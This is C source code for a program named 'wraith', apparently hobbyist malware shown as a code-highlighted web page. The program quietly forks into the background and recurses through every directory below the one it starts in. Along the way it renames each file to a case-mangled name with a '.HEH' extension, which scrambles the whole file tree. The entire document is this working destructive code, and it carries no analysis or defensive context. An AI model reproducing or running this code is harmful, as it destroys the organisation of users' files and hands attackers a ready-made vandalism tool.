/* wraith.c coded by fred_ */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <dirent.h>
#include <unistd.h>
char *
c_file (char *filename)
{
  int x, i;
  static char buffer[256];
  if (strstr (filename, ".") != NULL)
    {
      for (x = 0; filename[x]; x++)
	{
	  if (filename[x] == '.')
	    break;
	  buffer[x] = filename[x];
	}
      buffer[x] = 0;
    }
  else
    strcpy ((char *) buffer, filename);
  for (x = 0, i = 1; buffer[x]; x++)
    {
      if (i == 1)
	{
	  buffer[x] = toupper (buffer[x]);
	  i = 2;
	}
      else if (i == 2)
	{
	  buffer[x] = tolower (buffer[x]);
	  i = 1;
	}
      else
	buffer[x] = buffer[x];
    }
  x = strlen (buffer);
  buffer[x] = '.';
  buffer[x + 1] = 'H';
  buffer[x + 2] = 'E';
  buffer[x + 3] = 'H';
  return buffer;
}
int
isDir (char *name)
{
  int ret;
  struct stat *status;
  struct stat s[1];
  status = s;
  ret = lstat (name, s);
  if (ret == -1)
    return 0;
  return S_ISDIR (status->st_mode);
}
int
main (int argc, char *argv[])
{
  char *exec;
  if ((exec = (char *) malloc (256)) == NULL)
    {
      printf ("Not enough memory\n");
      exit (1);
    }
  printf ("starting wraith from the current working directory\n");
#ifndef DEBUG
  printf ("launching into the background..\n");
  if (fork ())
    exit (1);
#endif
  if (strstr (argv[0], "/") != NULL)
    {
      exec = strrchr (argv[0], '/');
      memmove (exec, exec + 1, strlen (exec));
    }
  else
    strcpy (exec, argv[0]);
  modify_dir (".", exec);
}
int
modify_dir (char *directory, char *exec)
{
  char *buffer, *newfile;
  struct dirent *files;
  DIR *dp;
  if ((buffer = (char *) malloc (256)) == NULL ||
      (newfile = (char *) malloc (256)) == NULL)
    {
      printf ("Not enough memory.\n");
      exit (1);
    }
  dp = opendir (directory);
  while (1)
    {
      bzero (buffer, 256);
      bzero (newfile, 256);
      if ((files = readdir (dp)) == NULL)
	break;
      if (!strcmp (files->d_name, ".") || !strcmp (files->d_name, ".."))
	continue;
      strncpy (buffer, files->d_name, 256);
      if (!strcmp (exec, buffer))
	continue;
      if (isDir (buffer) == 1)
	{
#ifdef DEBUG
	  printf ("Changing to directory: %s\n", buffer);
#endif
	  if (chdir (buffer) == 0)
	    {
	      modify_dir (".", exec);
#ifdef DEBUG
	      printf ("Changing to parent directory\n");
#endif
	      if (chdir ("..") == -1)
		exit (1);
	    }
	  else
	    continue;
	}
      newfile = c_file (buffer);
      if (strlen (newfile) > 0)
	{
#ifdef DEBUG
	  printf ("Modified %s to %s\n", buffer, newfile);
#endif
	  if (rename (buffer, newfile) == -1)
	    continue;
	}
    }
  closedir (dp);
}
syntax highlighted by Code2HTML, v. 0.9.1